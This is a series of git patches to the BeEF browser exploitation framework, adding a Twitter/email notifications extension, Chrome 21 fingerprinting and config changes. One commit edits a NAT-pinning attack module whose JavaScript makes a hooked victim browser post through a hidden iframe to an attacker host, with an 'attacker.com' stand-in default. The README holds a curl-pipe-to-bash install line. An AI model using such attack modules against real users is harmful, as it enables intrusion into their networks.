From 6ade1469bbb84f03d79bfc4d89c55317fbfd99b2 Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Thu, 19 Jul 2012 22:51:39 +0100 Subject: [PATCH 01/36] initial commit of notifications extension --- Gemfile | 3 + Gemfile.lock | 76 +++++++++++++++++++ config.yaml | 2 +- core/main/logger.rb | 9 ++- core/main/notifications.rb | 55 ++++++++++++++ extensions/metasploit/.rpcclient.rb.swp | Bin 0 -> 16384 bytes extensions/notifications/config.yaml | 28 +++++++ extensions/notifications/extension.rb | 30 ++++++++ extensions/notifications/handler.rb | 43 +++++++++++ extensions/notifications/handlers/twitter.rb | 43 +++++++++++ 10 files changed, 287 insertions(+), 2 deletions(-) create mode 100644 Gemfile.lock create mode 100644 core/main/notifications.rb create mode 100644 extensions/metasploit/.rpcclient.rb.swp create mode 100644 extensions/notifications/config.yaml create mode 100644 extensions/notifications/extension.rb create mode 100644 extensions/notifications/handler.rb create mode 100644 extensions/notifications/handlers/twitter.rb diff --git a/Gemfile b/Gemfile index cd4bb331e..155418d9b 100644 --- a/Gemfile +++ b/Gemfile @@ -39,6 +39,9 @@ gem "erubis" gem "dm-migrations" gem "msfrpc-client" +# notifications +gem "twitter" + if ENV['BEEF_TEST'] # for running unit tests gem "test-unit" diff --git a/Gemfile.lock b/Gemfile.lock new file mode 100644 index 000000000..cddca4f41 --- /dev/null +++ b/Gemfile.lock @@ -0,0 +1,76 @@ +GEM + remote: http://rubygems.org/ + specs: + addressable (2.2.8) + ansi (1.4.2) + daemons (1.1.8) + data_objects (0.10.8) + addressable (~> 2.1) + dm-core (1.2.0) + addressable (~> 2.2.6) + dm-do-adapter (1.2.0) + data_objects (~> 0.10.6) + dm-core (~> 1.2.0) + dm-migrations (1.2.0) + dm-core (~> 1.2.0) + dm-sqlite-adapter (1.2.0) + dm-do-adapter (~> 1.2.0) + do_sqlite3 (~> 0.10.6) + do_sqlite3 (0.10.8) + data_objects (= 0.10.8) + em-websocket (0.3.6) + addressable (>= 2.1.1) + eventmachine (>= 0.12.9) + erubis (2.7.0) + eventmachine (0.12.10) + faraday (0.8.1) + multipart-post (~> 1.1) + jsmin (1.0.1) + json (1.7.3) + librex (0.0.65) + msfrpc-client (1.0.1) + librex (>= 0.0.32) + msgpack (>= 0.4.5) + msgpack (0.4.7) + multi_json (1.3.6) + multipart-post (1.1.5) + parseconfig (1.0.2) + rack (1.4.1) + rack-protection (1.2.0) + rack + simple_oauth (0.1.8) + sinatra (1.3.2) + rack (~> 1.3, >= 1.3.6) + rack-protection (~> 1.2) + tilt (~> 1.3, >= 1.3.3) + term-ansicolor (1.0.7) + thin (1.3.1) + daemons (>= 1.0.9) + eventmachine (>= 0.12.6) + rack (>= 1.0.0) + tilt (1.3.3) + twitter (3.3.1) + faraday (~> 0.8) + multi_json (~> 1.3) + simple_oauth (~> 0.1.6) + +PLATFORMS + ruby + +DEPENDENCIES + ansi + data_objects + dm-core + dm-migrations + dm-sqlite-adapter + em-websocket (~> 0.3.6) + erubis + eventmachine (= 0.12.10) + jsmin (~> 1.0.1) + json + msfrpc-client + parseconfig + sinatra (= 1.3.2) + term-ansicolor + thin + twitter diff --git a/config.yaml b/config.yaml index b9d4f8f08..d1c2f12ae 100644 --- a/config.yaml +++ b/config.yaml @@ -17,7 +17,7 @@ beef: version: '0.4.3.6-alpha' - debug: false + debug: true restrictions: # subnet of browser ip addresses that can hook to the framework diff --git a/core/main/logger.rb b/core/main/logger.rb index f9e128d77..558ec5600 100644 --- a/core/main/logger.rb +++ b/core/main/logger.rb @@ -24,6 +24,7 @@ module Core # Constructor def initialize @logs = BeEF::Core::Models::Log + @notifications = BeEF::Extensions::Notifications end # Registers a new event in the logs @@ -34,6 +35,9 @@ module Core def register(from, event, hb = 0) # type conversion to enforce standards hb = hb.to_i + + # get time now + time_now = Time.now # arguments type checking raise Exception::TypeError, '"from" needs to be a string' if not from.string? @@ -41,7 +45,10 @@ module Core raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer? # logging the new event into the database - @logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :hooked_browser_id => hb).save + @logs.new(:type => "#{from}", :event => "#{event}", :date => time_now, :hooked_browser_id => hb).save + + # if notifications are enabled send the info there too + @notifications.new(from, event, time_now, hb) # return true diff --git a/core/main/notifications.rb b/core/main/notifications.rb new file mode 100644 index 000000000..6a99c2d19 --- /dev/null +++ b/core/main/notifications.rb @@ -0,0 +1,55 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +module BeEF +module Core + + class Notifications + + include Singleton + + # Constructor + def initialize + @notifications = BeEF::Core::Models::Notifications + end + + # Registers a new event in the logs + # @param [String] from The origin of the event (i.e. Authentication, Hooked Browser) + # @param [String] event The event description + # @param [Integer] hb The id of the hooked browser affected (default = 0 if no HB) + # @return [Boolean] True if the register was successful + def register(from, event, hb = 0) + # type conversion to enforce standards + hb = hb.to_i + + # arguments type checking + raise Exception::TypeError, '"from" needs to be a string' if not from.string? + raise Exception::TypeError, '"event" needs to be a string' if not event.string? + raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer? + + # logging the new event into the database + @logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :hooked_browser_id => hb).save + + # return + true + end + + private + @logs + + end +end +end diff --git a/extensions/metasploit/.rpcclient.rb.swp b/extensions/metasploit/.rpcclient.rb.swp new file mode 100644 index 0000000000000000000000000000000000000000..9449db26428d79cdb0291e65f50f3058ef0c022c GIT binary patch literal 16384 zcmeI2ON<;x8OI9;hzBrnFmFrnc{X;>#^av#hQzS;+Fq~M@e+I2+8KLsHmg-nPt8o@ zp6;d}9xt}V;{Y+XkRVcmIB*ItZ^Z!{dL#ZT^~C)dzucI;{w}uA@*&3WB%sOd&S9;5TWnKTztFj zz|6kWR%qX@ny4I?7p3b59qGjtzuA;t zVB4;PW6ZFA+dlFNxdOQYn<=nOJTSh0Y^1o0cD(QGW|i{tT!CDHT!CDHT!CDHT!CDH zT!CDH|5F9xV2k({#FgOSdum{`&e(@e5ehxkXUU|0=7r<8Vy>|(59b5(%!K2_|upjIO ze=7*_8}NN_4J?6&!4wz=qu@TU4ZOZph~I)2!1Lg{;5zsMXoJT<4SWjh0z1Gqa5vZj z{&BYue*v$7SHO?J)8INd56*%UU^n>PJB4@=JP&>bnxGCo4W_{!@GxDRXxufrE!1y6%-f*ar(=m7SU&w$%*q_#q#(30_r>)RJf zqoPn~$R-8Ws_R>g6+ejiRgaQqbtLb@f9W;ww-Cx`$>{iv#Fde;oR-8%=+Wh?u96}_W3Gdoh_7_ybFT!Cf% zL+`v}ErC%sz2yBb!%+D6IiiRcjZb?kvp;{tG)45zIB5fuj#*8 zZM2Xpe5|%d6o`7B6`PSC#2L1N64tuL%$p0y(PE| zs>4?!Q(AVL8a`d=T;Vc?51*tZ<-%MCKi2rRuEoy1w0wK#R&8$V#CqVHIdSSy{lDm# zPewhCmF#GEH`l>lEkPV6QWbGAZ#=4@6Duv|fgE+MD7KQgjd9kTjx;^L%jHZEI$o@1 zg^X%q+cJupiA%QcdD7-UKwSq1p69m%N1YTn-Q<-`tffXUjWuYhSWrMKk`Yp%nnKDA^H$haN`Y+1~ ztwvuaOof_4HQPP$FcD6A5@bifRbhAkG+`+{$3+>2VJDJiF4_^tf%wk`aSZ82k#xw2!Wb+;h^wqdfhI7=G2UThfp9%Y%c96# zxhO+^tC7olvp!JH?$EEjw${MjBy@)M;y3o<>SI)_z^NEnD*+eJXp-fWwvw3xzZWp(t(qoXPouQHr_ipp%9Biwv#{C&K#G) zy)q}{pM%>mIdfuSV%iTS|K$@a3327}J%ngPAkUU&B;%67ZZI0|q2wxj*CahZX|;zAM%x?L9uer4a!xl+@M@V z%+XPyoG}#&zIg{zhLidhPSLylBjO0avN%c??nqzzsp@zwSH?bvH&L+R^bsut_OyCK znGVs!#ObIxF|lxF8m_4d1$;fdnH|tKE1Ah&dCm%W6k6ByRC247@DpiS#R=<$o6zX>rNZV;THo2D9O01TomJb*5U_9Y+)Nvy9nl)L7yWG{{ zZ0+Ry*%~cQEi6pU)n;d^G`~R8^K-{%YqRrn_;rG&=FZb2vvbGGBypvNHMnPh+o}6- zrxReTjnt@y6UCuZPh#0vZ#TQ*U-kTySCz))FTCp3xfv|~1h1|*D~z(Cv@lB2 z!+N!clX)8+F_a)Fp0KcnQmZ@HN<3uOk*xKDuJ@Q%OpVwiF$q&P%aKbP%Thd3u#!s- zmSf>6z9S=xwQ-ixU(uZyc3m$|1Uqq=bJ%=|*lSiV{*(q2wIp)ec7vT81yKizCmFQS$BlC$hQ zz`>mnme^`9(n7kI>M0}?xgyt_q+(Hso{(!iCN1Z>S;yMV-n8S)q)*e3+*1z3S&@;; z`Vq%f`Y*VTZp$d^FL&lE1M{knE3G{qqhCAE>z{mXtRM@wnd4(J_*pBQT|cYK9yI Date: Wed, 25 Jul 2012 14:21:37 +0800 Subject: [PATCH 02/36] Minor fix to the Shell interface - can review offline targets now --- extensions/console/lib/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extensions/console/lib/command_dispatcher/core.rb b/extensions/console/lib/command_dispatcher/core.rb index 09108cc88..a7e7905b6 100644 --- a/extensions/console/lib/command_dispatcher/core.rb +++ b/extensions/console/lib/command_dispatcher/core.rb @@ -308,7 +308,7 @@ class Core if driver.interface.targetid.length > 1 driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ") else - driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ") + driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ") end end From e299045539d9dada3ae0f2931d892413cebd6973 Mon Sep 17 00:00:00 2001 From: bmantra Date: Wed, 25 Jul 2012 14:47:56 +0200 Subject: [PATCH 03/36] add default beef host/ip to connect to --- modules/network/nat_pinning_irc/command.js | 2 +- modules/network/nat_pinning_irc/module.rb | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/network/nat_pinning_irc/command.js b/modules/network/nat_pinning_irc/command.js index 7debb8fe8..4caef4fef 100644 --- a/modules/network/nat_pinning_irc/command.js +++ b/modules/network/nat_pinning_irc/command.js @@ -25,7 +25,7 @@ beef.execute(function() { var myIframe = beef.dom.createInvisibleIframe(); var myForm = document.createElement("form"); - var action = connectto + ":6667/" + var action = "http://" + connectto + ":6667/" myForm.setAttribute("name", "data"); myForm.setAttribute("method", "post"); diff --git a/modules/network/nat_pinning_irc/module.rb b/modules/network/nat_pinning_irc/module.rb index 4a411204a..a934c79da 100644 --- a/modules/network/nat_pinning_irc/module.rb +++ b/modules/network/nat_pinning_irc/module.rb @@ -20,8 +20,11 @@ class Irc_nat_pinning < BeEF::Core::Command end def self.options + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + return [ - {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>'http://attacker.com'}, + {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>beef_host}, {'name'=>'privateip', 'ui_label' =>'Private IP','value'=>'192.168.0.100'}, {'name'=>'privateport', 'ui_label' =>'Private Port','value'=>'22'} ] From 560aa7f610e7e95253bda9459afb8e0ee2727d35 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Tue, 31 Jul 2012 09:28:55 +0100 Subject: [PATCH 04/36] Changed default WebSockets port to increase success rate through proxies. --- config.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/config.yaml b/config.yaml index b9d4f8f08..80a9bb0d1 100644 --- a/config.yaml +++ b/config.yaml @@ -17,7 +17,7 @@ beef: version: '0.4.3.6-alpha' - debug: false + debug: true restrictions: # subnet of browser ip addresses that can hook to the framework @@ -43,7 +43,7 @@ beef: websocket: enable: false secure: false # use WebSocketSecure - port: 11989 + port: 61985 # good success rate through proxies alive_timer: 1000 # poll BeEF every second # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) @@ -85,6 +85,6 @@ beef: enable: false console: shell: - enable: false + enable: true evasion: enable: false From c2a21350462bf4a11c831e942f234655ab4e1014 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 1 Aug 2012 12:28:24 +0100 Subject: [PATCH 05/36] Added Chrome 21 fingerprinting. --- core/main/client/browser.js | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index cf1a5c174..0ca172c1d 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -348,12 +348,20 @@ beef.browser = { return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==20)?true:false); }, + /** + * Returns true if Chrome 21. + * @example: beef.browser.isC21() + */ + isC21: function() { + return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==21)?true:false); + }, + /** * Returns true if Chrome. * @example: beef.browser.isC() */ isC: function() { - return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20(); + return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20() || this.isC21(); }, /** @@ -429,6 +437,7 @@ beef.browser = { C18: this.isC18(), // Chrome 18 C19: this.isC19(), // Chrome 19 C20: this.isC20(), // Chrome 20 + C21: this.isC21(), // Chrome 21 C: this.isC(), // Chrome any version FF2: this.isFF2(), // Firefox 2 @@ -491,8 +500,9 @@ beef.browser = { if (this.isC18()) { return '18' }; // Chrome 18 if (this.isC19()) { return '19' }; // Chrome 19 if (this.isC20()) { return '20' }; // Chrome 20 + if (this.isC21()) { return '21' }; // Chrome 21 - if (this.isFF2()) { return '2' }; // Firefox 2 + if (this.isFF2()) { return '2' }; // Firefox 2 if (this.isFF3()) { return '3' }; // Firefox 3 if (this.isFF3_5()) { return '3.5'}; // Firefox 3.5 if (this.isFF3_6()) { return '3.6'}; // Firefox 3.6 From 707759950d6289c07695a5af20f31a8927b66dfa Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Thu, 2 Aug 2012 11:41:24 +0100 Subject: [PATCH 06/36] working but kludgey version of notifications with twitter and email support --- config.yaml | 2 +- core/main/logger.rb | 2 +- extensions/notifications/channels/email.rb | 60 ++++++++++++++++++++++ extensions/notifications/channels/tweet.rb | 49 ++++++++++++++++++ extensions/notifications/config.yaml | 17 ++++-- extensions/notifications/extension.rb | 2 +- extensions/notifications/notifications.rb | 52 +++++++++++++++++++ 7 files changed, 178 insertions(+), 6 deletions(-) create mode 100644 extensions/notifications/channels/email.rb create mode 100644 extensions/notifications/channels/tweet.rb create mode 100644 extensions/notifications/notifications.rb diff --git a/config.yaml b/config.yaml index d1c2f12ae..6560e8cf1 100644 --- a/config.yaml +++ b/config.yaml @@ -85,6 +85,6 @@ beef: enable: false console: shell: - enable: false + enable: true evasion: enable: false diff --git a/core/main/logger.rb b/core/main/logger.rb index 558ec5600..dbbb376c2 100644 --- a/core/main/logger.rb +++ b/core/main/logger.rb @@ -24,7 +24,7 @@ module Core # Constructor def initialize @logs = BeEF::Core::Models::Log - @notifications = BeEF::Extensions::Notifications + @notifications = BeEF::Extension::Notifications::Notifications end # Registers a new event in the logs diff --git a/extensions/notifications/channels/email.rb b/extensions/notifications/channels/email.rb new file mode 100644 index 000000000..fa49f024f --- /dev/null +++ b/extensions/notifications/channels/email.rb @@ -0,0 +1,60 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# +# +require 'net/smtp' + +module BeEF +module Extension +module Notifications +module Channels + + class Email + + # + # Constructor + # + def initialize(to_address, message) + @config = BeEF::Core::Configuration.instance + @from_address = @config.get('beef.extension.notifications.email.from_address') + @smtp_host = @config.get('beef.extension.notifications.email.smtp_host') + @smtp_port = @config.get('beef.extension.notifications.email.smtp_port') + @smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable') + @password = @config.get('beef.extension.notifications.email.smtp_tls_password') + + # configure the email client + msg = "Subject: BeEF Notification\n\n" + message + smtp = Net::SMTP.new @smtp_host, @smtp_port + #if @smtp_tls_enable? + # smtp.enable_starttls + # smtp.start('beefproject.com', @from_address, @password, :login) do + # smtp.send_message(msg, @from_address, @to_address) + # end + #else + smtp.start do + smtp.send_message(msg, @from_address, to_address) + end + #end + + end + + end + +end +end +end +end + diff --git a/extensions/notifications/channels/tweet.rb b/extensions/notifications/channels/tweet.rb new file mode 100644 index 000000000..37ae928d6 --- /dev/null +++ b/extensions/notifications/channels/tweet.rb @@ -0,0 +1,49 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# +# +require 'twitter' + +module BeEF +module Extension +module Notifications +module Channels + + class Tweet + + # + # Constructor + # + def initialize(username, message) + @config = BeEF::Core::Configuration.instance + + # configure the Twitter client + Twitter.configure do |config| + config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key') + config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret') + config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token') + config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret') + end + + Twitter.direct_message_create(username, message) + end + end + +end +end +end +end + diff --git a/extensions/notifications/config.yaml b/extensions/notifications/config.yaml index 05461d10c..14afd864e 100644 --- a/extensions/notifications/config.yaml +++ b/extensions/notifications/config.yaml @@ -20,9 +20,20 @@ beef: name: Notifications twitter: enable: true - consumer_token: consumer_token - consumer_secret: consumer_secret + consumer_key: your_app_consumer_key + consumer_secret: your_app_consumer_secret + oauth_token: your_twitter_access_token_for_this_app + oauth_token_secret: your_twitter_access_secret_for_this_app + target_username: your_twitter_username email: enable: false - address: nobody@nobody.com + from_address: your_email_address + to_address: where_to_send_notification + smtp_host: 127.0.0.1 + smtp_port: 25 + smtp_tls_enable: false + irc: + server: irc.freenode.net + channel: #random_beef_channel_foobar + diff --git a/extensions/notifications/extension.rb b/extensions/notifications/extension.rb index eef405305..d5c5c04c8 100644 --- a/extensions/notifications/extension.rb +++ b/extensions/notifications/extension.rb @@ -27,4 +27,4 @@ end end end -require 'extensions/notifications/handler' +require 'extensions/notifications/notifications' diff --git a/extensions/notifications/notifications.rb b/extensions/notifications/notifications.rb new file mode 100644 index 000000000..e4a447b3d --- /dev/null +++ b/extensions/notifications/notifications.rb @@ -0,0 +1,52 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'extensions/notifications/channels/tweet' +require 'extensions/notifications/channels/email' + +module BeEF +module Extension +module Notifications + + # + # Notifications class + # + class Notifications + + def initialize(from, event, time_now, hb) + @config = BeEF::Core::Configuration.instance + if @config.get('beef.extension.notifications.enable') == false + # notifications are not enabled + return nil + else + @from = from + @event = event + @time_now = time_now + @hb = hb + end + + username = @config.get('beef.extension.notifications.twitter.target_username') + to_address = @config.get('beef.extension.notifications.email.to_address') + message = "#{from} #{event} #{time_now} #{hb}" + + BeEF::Extension::Notifications::Channels::Tweet.new(username,message) + BeEF::Extension::Notifications::Channels::Email.new(to_address,message) + end + + end + +end +end +end From 1a6bf75d5770a15bce0db47ed987bd7eb7093bd1 Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Thu, 2 Aug 2012 11:50:05 +0100 Subject: [PATCH 07/36] remove now redundant handlers directory --- extensions/notifications/handlers/twitter.rb | 43 -------------------- 1 file changed, 43 deletions(-) delete mode 100644 extensions/notifications/handlers/twitter.rb diff --git a/extensions/notifications/handlers/twitter.rb b/extensions/notifications/handlers/twitter.rb deleted file mode 100644 index 244f8addf..000000000 --- a/extensions/notifications/handlers/twitter.rb +++ /dev/null @@ -1,43 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# -# -# Generic Http Handler that extensions can use to register http -# controllers into the framework. -# -module BeEF -module Extension -module Notifications -module Handlers - - class Twitter - - # - # Constructor - # - def initialize - # configure the Twitter client - Twitter.configure do |config| - config.consumer_key = '' - config.consumer_secret = '' - end - end - - end - -end -end -end -end From 82dc6fee0d3d2d4c46cc68968b0c3823b137344a Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Thu, 2 Aug 2012 11:51:14 +0100 Subject: [PATCH 08/36] remove now redundant handler --- extensions/notifications/handler.rb | 43 ----------------------------- 1 file changed, 43 deletions(-) delete mode 100644 extensions/notifications/handler.rb diff --git a/extensions/notifications/handler.rb b/extensions/notifications/handler.rb deleted file mode 100644 index 9611d7813..000000000 --- a/extensions/notifications/handler.rb +++ /dev/null @@ -1,43 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# -module BeEF -module Extension -module Notifications - - # - # The handler for notifications - # - class Handler - - def initialize - @config = BeEF::Core::Configuration.instance.get('beef.extension.notifications') - @config.inspect - - if @config.enable = false - # notifications are not enabled - return nil - end - end - - def new(from, event, time_now, hb) - print_info "#{from}:#{event}:#{time_now}:#{hb}" - end - - end - -end -end -end From 73fc9603334b99644e69cd32c1d45edc241c5784 Mon Sep 17 00:00:00 2001 From: Michal Papis Date: Thu, 2 Aug 2012 21:22:35 +0300 Subject: [PATCH 09/36] improved installation command updated the installation command: - reversed notation to prevent `curl -s` and hiding errors, - shortened the commit sha1, still usable but easier to see whole command. --- README.mkd | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.mkd b/README.mkd index 79df0d1af..272b5ae76 100644 --- a/README.mkd +++ b/README.mkd @@ -72,7 +72,7 @@ __The following is for the impatient.__ For full installation details (including on Microsoft Windows), please refer to INSTALL.txt. - $ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef) + $ curl https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable Usage From 45c9f674e44cd84a7b03c140bc6198b5b21c0fbb Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Fri, 3 Aug 2012 22:00:54 +0100 Subject: [PATCH 10/36] remove IRC config, might get around to this one day --- extensions/notifications/config.yaml | 5 ----- 1 file changed, 5 deletions(-) diff --git a/extensions/notifications/config.yaml b/extensions/notifications/config.yaml index 14afd864e..e3957dab8 100644 --- a/extensions/notifications/config.yaml +++ b/extensions/notifications/config.yaml @@ -32,8 +32,3 @@ beef: smtp_host: 127.0.0.1 smtp_port: 25 smtp_tls_enable: false - irc: - server: irc.freenode.net - channel: #random_beef_channel_foobar - - From bd4b28ae3cd1e3a1ea17b4803a2dcb3aaf1997e9 Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Fri, 3 Aug 2012 22:04:28 +0100 Subject: [PATCH 11/36] turn off debugging in committed version --- config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.yaml b/config.yaml index 80a9bb0d1..ff55c7b43 100644 --- a/config.yaml +++ b/config.yaml @@ -17,7 +17,7 @@ beef: version: '0.4.3.6-alpha' - debug: true + debug: false restrictions: # subnet of browser ip addresses that can hook to the framework From 192eb9706d0e4606ef90e45e7c2c980d6e39baa7 Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Fri, 3 Aug 2012 22:14:20 +0100 Subject: [PATCH 12/36] disable twitter and email notifications by default --- extensions/notifications/config.yaml | 12 ++++++------ extensions/notifications/notifications.rb | 13 +++++++++---- 2 files changed, 15 insertions(+), 10 deletions(-) diff --git a/extensions/notifications/config.yaml b/extensions/notifications/config.yaml index e3957dab8..bac1a0318 100644 --- a/extensions/notifications/config.yaml +++ b/extensions/notifications/config.yaml @@ -19,12 +19,12 @@ beef: enable: true name: Notifications twitter: - enable: true - consumer_key: your_app_consumer_key - consumer_secret: your_app_consumer_secret - oauth_token: your_twitter_access_token_for_this_app - oauth_token_secret: your_twitter_access_secret_for_this_app - target_username: your_twitter_username + enable: false + consumer_key: consumer_key + consumer_secret: consumer_secret + oauth_token: oauth_token_for_this_app + oauth_token_secret: oauth_token_secret_for_this_app + target_username: twitter_handle_to_receive_tweet email: enable: false from_address: your_email_address diff --git a/extensions/notifications/notifications.rb b/extensions/notifications/notifications.rb index e4a447b3d..b9e5cbb94 100644 --- a/extensions/notifications/notifications.rb +++ b/extensions/notifications/notifications.rb @@ -37,12 +37,17 @@ module Notifications @hb = hb end - username = @config.get('beef.extension.notifications.twitter.target_username') - to_address = @config.get('beef.extension.notifications.email.to_address') message = "#{from} #{event} #{time_now} #{hb}" - BeEF::Extension::Notifications::Channels::Tweet.new(username,message) - BeEF::Extension::Notifications::Channels::Email.new(to_address,message) + if @config.get('beef.extension.notifications.twitter.enable') == true + username = @config.get('beef.extension.notifications.twitter.target_username') + BeEF::Extension::Notifications::Channels::Tweet.new(username,message) + end + + if @config.get('beef.extension.notifications.email.enable') == true + to_address = @config.get('beef.extension.notifications.email.to_address') + BeEF::Extension::Notifications::Channels::Email.new(to_address,message) + end end end From 0cec6b87a826dee2853263ca9944f76999611c3d Mon Sep 17 00:00:00 2001 From: Marc Wickenden Date: Fri, 3 Aug 2012 23:13:58 +0100 Subject: [PATCH 13/36] fixed disabling of notifications extension --- core/main/logger.rb | 9 +++++++-- extensions/metasploit/.rpcclient.rb.swp | Bin 16384 -> 0 bytes extensions/notifications/config.yaml | 17 ++++++++--------- 3 files changed, 15 insertions(+), 11 deletions(-) delete mode 100644 extensions/metasploit/.rpcclient.rb.swp diff --git a/core/main/logger.rb b/core/main/logger.rb index dbbb376c2..623b17ba1 100644 --- a/core/main/logger.rb +++ b/core/main/logger.rb @@ -24,7 +24,10 @@ module Core # Constructor def initialize @logs = BeEF::Core::Models::Log - @notifications = BeEF::Extension::Notifications::Notifications + @config = BeEF::Core::Configuration.instance + + # if notifications are enabled create a new instance + @notifications = BeEF::Extension::Notifications::Notifications unless @config.get('beef.extension.notifications.enable') == false end # Registers a new event in the logs @@ -48,7 +51,9 @@ module Core @logs.new(:type => "#{from}", :event => "#{event}", :date => time_now, :hooked_browser_id => hb).save # if notifications are enabled send the info there too - @notifications.new(from, event, time_now, hb) + if @notifications + @notifications.new(from, event, time_now, hb) + end # return true diff --git a/extensions/metasploit/.rpcclient.rb.swp b/extensions/metasploit/.rpcclient.rb.swp deleted file mode 100644 index 9449db26428d79cdb0291e65f50f3058ef0c022c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 zcmeI2ON<;x8OI9;hzBrnFmFrnc{X;>#^av#hQzS;+Fq~M@e+I2+8KLsHmg-nPt8o@ zp6;d}9xt}V;{Y+XkRVcmIB*ItZ^Z!{dL#ZT^~C)dzucI;{w}uA@*&3WB%sOd&S9;5TWnKTztFj zz|6kWR%qX@ny4I?7p3b59qGjtzuA;t zVB4;PW6ZFA+dlFNxdOQYn<=nOJTSh0Y^1o0cD(QGW|i{tT!CDHT!CDHT!CDHT!CDH zT!CDH|5F9xV2k({#FgOSdum{`&e(@e5ehxkXUU|0=7r<8Vy>|(59b5(%!K2_|upjIO 